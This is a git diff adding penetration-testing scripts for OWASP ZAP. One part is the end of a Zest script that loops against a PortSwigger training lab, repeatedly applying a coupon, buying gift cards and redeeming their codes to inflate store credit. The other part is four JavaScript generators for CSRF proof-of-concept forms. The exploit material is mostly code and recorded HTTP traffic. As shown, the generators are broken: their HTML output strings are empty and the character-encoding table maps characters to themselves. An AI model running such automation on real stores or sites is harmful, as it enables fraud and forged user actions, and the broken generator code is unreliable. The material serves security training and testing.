\u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\" autofocus\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 174, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 3526, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934456063, + "cookies": [], + "index": 1, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf1", + "index": 2, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/login", + "data": "csrf\u003d{{csrf1}}\u0026username\u003dwiener\u0026password\u003dpeter", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 68\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/login", + "headers": "HTTP/1.1 302 Found\nLocation: /my-account?id\u003dwiener\nSet-Cookie: session\u003dNgwWEYogYBdQRa3fSIM5nnj5Iq5ZH3wf; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 237, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934473559, + "cookies": [], + "index": 3, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart", + "data": "productId\u003d2\u0026redir\u003dPRODUCT\u0026quantity\u003d1", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 36\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart", + "headers": "HTTP/1.1 302 Found\nLocation: /product?productId\u003d2\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 260, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934495626, + "cookies": [], + "index": 4, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 6400\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003cp\u003e\u003cstrong\u003eStore credit: $100.00\u003c/strong\u003e\u003c/p\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account?id\u003dwiener\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e1\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cp\u003e\u003cstrong\u003eCart\u003c/strong\u003e\u003c/p\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eName\u003c/th\u003e\n \u003cth\u003ePrice\u003c/th\u003e\n \u003cth\u003eQuantity\u003c/th\u003e\n \u003cth\u003e\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ca href\u003d/product?productId\u003d2\u003eGift Card\u003c/a\u003e\n \u003c/td\u003e\n \u003ctd\u003e$10.00\u003c/td\u003e\n \u003ctd\u003e\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d-1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003e-\u003c/button\u003e\n \u003c/form\u003e\n 1\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003e+\u003c/button\u003e\n \u003c/form\u003e\n \u003c/td\u003e\n \u003ctd\u003e\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d-1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003eRemove\u003c/button\u003e\n \u003c/form\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cform class\u003dlogin-form id\u003dcoupon-form action\u003d/cart/coupon method\u003dPOST \u003e\n \u003clabel\u003eCoupon:\u003c/label\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"yi4DjWJLkwst7AyzK770BFeKb0bJDiM8\"\u003e\n \u003cinput required placeholder\u003d\"Add coupon\" type\u003dtext name\u003dcoupon\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003eApply\u003c/button\u003e\n \u003c/form\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eTotal:\u003c/th\u003e\n \u003cth\u003e$10.00\u003c/th\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cform class\u003dlogin-form action\u003d/cart/checkout method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"yi4DjWJLkwst7AyzK770BFeKb0bJDiM8\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003ePlace order\u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 185, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 6400, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934497990, + "cookies": [], + "index": 5, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 3, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf2", + "index": 6, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "fieldDefinition": { + "formIndex": 4, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf3", + "index": 7, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/coupon", + "data": "csrf\u003d{{csrf3}}\u0026coupon\u003dSIGNUP30", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 53\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/coupon", + "headers": "HTTP/1.1 302 Found\nLocation: /cart\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 14\n\n", + "body": "Coupon applied", + "statusCode": 302, + "responseTimeInMs": 171, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 14, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934502826, + "cookies": [], + "index": 8, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/checkout", + "data": "csrf\u003d{{csrf3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 37\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/checkout", + "headers": "HTTP/1.1 303 See Other\nLocation: /cart/order-confirmation?order-confirmed\u003dtrue\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 303, + "responseTimeInMs": 166, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 303, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934506126, + "cookies": [], + "index": 9, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/order-confirmation?order-confirmed\u003dtrue", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/order-confirmation?order-confirmed\u003dtrue", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 4682\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003cp\u003e\u003cstrong\u003eStore credit: $93.00\u003c/strong\u003e\u003c/p\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account?id\u003dwiener\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e0\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cp\u003e\u003cstrong\u003eYour order is on its way!\u003c/strong\u003e\u003c/p\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eName\u003c/th\u003e\n \u003cth\u003ePrice\u003c/th\u003e\n \u003cth\u003eQuantity\u003c/th\u003e\n \u003cth\u003e\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ca href\u003d/product?productId\u003d2\u003eGift Card\u003c/a\u003e\n \u003c/td\u003e\n \u003ctd\u003e$10.00\u003c/td\u003e\n \u003ctd\u003e\n 1\n \u003c/td\u003e\n \u003ctd\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003eSIGNUP30\u003c/td\u003e\u003ctd\u003e-$3.00\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eTotal:\u003c/th\u003e\n \u003cth\u003e$7.00\u003c/th\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cp\u003e\u003cstrong\u003eYou have bought the following gift cards:\u003c/strong\u003e\u003c/p\u003e\n \u003ctable class\u003dis-table-numbers\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eCode\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e9q3GXW16Qr\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 177, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 4682, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934506407, + "cookies": [], + "index": 10, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "prefix": "\u003cth\u003eCode\u003c/th\u003e", + "postfix": "\u003c/td\u003e", + "location": "BODY", + "variableName": "code", + "index": 11, + "enabled": true, + "elementType": "ZestAssignStringDelimiters" + }, + { + "replace": " ", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 12, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\\n", + "replacement": "", + "regex": true, + "caseExact": false, + "variableName": "code", + "index": 13, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003ctr\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 14, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003c/tr\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 15, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "replace": "\u003ctd\u003e", + "replacement": "", + "regex": false, + "caseExact": false, + "variableName": "code", + "index": 16, + "enabled": true, + "elementType": "ZestAssignReplace" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/gift-card", + "data": "csrf\u003d{{csrf3}}\u0026gift-card\u003d{{code}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 58\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/gift-card", + "headers": "HTTP/1.1 302 Found\nLocation: /my-account\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 183, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934519976, + "cookies": [], + "index": 17, + "enabled": true, + "elementType": "ZestRequest" + } + ], + "variableName": "loop", + "index": 1, + "enabled": true, + "elementType": "ZestLoopInteger" + } + ], + "authentication": [], + "index": 0, + "enabled": true, + "elementType": "ZestScript" +} diff --git a/targeted/CSRF_poc_generator.js b/targeted/CSRF_poc_generator.js new file mode 100644 index 00000000..c14f03d9 --- /dev/null +++ b/targeted/CSRF_poc_generator.js @@ -0,0 +1,77 @@ +// Generate simple PoC CSRF +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += "
\n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += " \n" + result += " \n" + result += "\n" + print(result) +} diff --git a/targeted/CSRF_poc_generator_auto-submit.js b/targeted/CSRF_poc_generator_auto-submit.js new file mode 100644 index 00000000..a5ce1c73 --- /dev/null +++ b/targeted/CSRF_poc_generator_auto-submit.js @@ -0,0 +1,78 @@ +// Generate simple PoC CSRF +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += " \n" + result += " \n" // add auto submit + result += " \n" + result += "\n" + print(result) +} diff --git a/targeted/CSRF_poc_generator_full-URL_encoding.js b/targeted/CSRF_poc_generator_full-URL_encoding.js new file mode 100644 index 00000000..4e759231 --- /dev/null +++ b/targeted/CSRF_poc_generator_full-URL_encoding.js @@ -0,0 +1,136 @@ +// Generate simple PoC CSRF full URL encoding +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += " \n" + result += " \n" + result += "\n" + print(result) +} + +// encode specials character +function encodeSpecialCharactersToHTML(text) { + const htmlSpecialCharacters = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + '\'': ''', + '`': '`', + '=': '=', + '/': '/', + '-': '-', + '_': '_', + ':': ':', + ';': ';', + ',': ',', + '.': '.', + '?': '?', + '!': '!', + '@': '@', + '$': '$', + '%': '%', + '#': '#', + '(': '(', + ')': ')', + '[': '[', + ']': ']', + '{': '{', + '}': '}', + '+': '+', + '|': '|', + '\\': '\', + '~': '~', + '^': '^', + '€': '€', + '£': '£', + '¥': '¥', + '©': '©', + '®': '®', + '™': '™', + '×': '×', + '÷': '÷', + }; + + let encodedText = ''; + + for (const char of text) { + if (char in htmlSpecialCharacters) { + encodedText += htmlSpecialCharacters[char]; + } else { + encodedText += char; + } + } + + return encodedText; + } \ No newline at end of file diff --git a/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js new file mode 100644 index 00000000..13d8a2d3 --- /dev/null +++ b/targeted/CSRF_poc_generator_full-URL_encoding_auto-submit.js @@ -0,0 +1,137 @@ +// Generate simple PoC CSRF auto-submit full-URL encoding +// @author : Timothée Ruffenach +// Version 1.0 + +// Targeted scripts can only be invoked by you, the user, e.g. via a right-click option on the Sites or History tabs + +/** + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + // create fianl result + var result = "" + result += "\n"; + result += " \n"; + result += " \n" // change push path if needed + + // check POST of GET + var methode = msg.getRequestHeader().getMethod() + + + + // search list. + var body = msg.getRequestBody().toString(); // Get data body + + if(methode == "POST") + { + result += " \n" + result += " \n" // add auto submit + result += " \n" + result += "\n" + print(result) +} + +// encode specials character +function encodeSpecialCharactersToHTML(text) { + const htmlSpecialCharacters = { + '&': '&', + '<': '<', + '>': '>', + '"': '"', + '\'': ''', + '`': '`', + '=': '=', + '/': '/', + '-': '-', + '_': '_', + ':': ':', + ';': ';', + ',': ',', + '.': '.', + '?': '?', + '!': '!', + '@': '@', + '$': '$', + '%': '%', + '#': '#', + '(': '(', + ')': ')', + '[': '[', + ']': ']', + '{': '{', + '}': '}', + '+': '+', + '|': '|', + '\\': '\', + '~': '~', + '^': '^', + '€': '€', + '£': '£', + '¥': '¥', + '©': '©', + '®': '®', + '™': '™', + '×': '×', + '÷': '÷', + }; + + let encodedText = ''; + + for (const char of text) { + if (char in htmlSpecialCharacters) { + encodedText += htmlSpecialCharacters[char]; + } else { + encodedText += char; + } + } + + return encodedText; + } \ No newline at end of file